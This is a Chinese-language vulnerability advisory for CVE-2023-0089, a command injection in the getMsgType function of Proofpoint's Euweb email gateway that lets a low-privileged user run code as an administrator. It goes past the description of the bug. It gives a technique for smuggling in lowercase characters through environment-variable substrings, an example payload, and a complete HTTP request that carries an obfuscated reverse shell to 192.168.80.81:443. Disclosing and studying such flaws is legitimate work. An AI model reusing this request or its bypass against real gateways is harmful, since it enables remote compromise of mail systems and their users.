
Proofpoint Email Gateway:低权限认证用户到管理员的远程代码执行(RCE)
安全研究员:ly1g3,ly1g3[at]tuta.io
GPG 指纹:https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
概述:远程代码执行 - 从低权限认证用户到管理员 RCE
CVE:CVE-2023-0089
时间线:
Proofpoint Messaging Security Gateway 的漏洞利用
Euweb 的一个低权限(已认证)用户能够以管理员权限执行任意代码。
Euwebutils.pm 中的 getMsgType 函数存在命令注入漏洞。$module 变量来自 GET 参数,且此用户输入未经过任何过滤。
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
这个 getMsgType 函数被 Euweb 应用程序使用的许多 API 调用所使用,因此该漏洞可以通过多种方式触发。
由于所有字符都必须为大写,因此对于小写字母,可以使用环境变量绕过这一限制。示例:用 ${SHELL:1:1} 代替 b
由于使用了 use strict,可以在字符串开头添加 MAIL_GENERAL() 来补全 PROOFPOINT_MAIL_REPORT_MSGTYPE_。之后可以添加自定义的 Perl 代码。
未编码的示例载荷:MAIL_GENERAL();`id`
使用环境变量编码的反向 Shell,用于绕过小写字母限制。代码以 pps 用户身份运行。
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261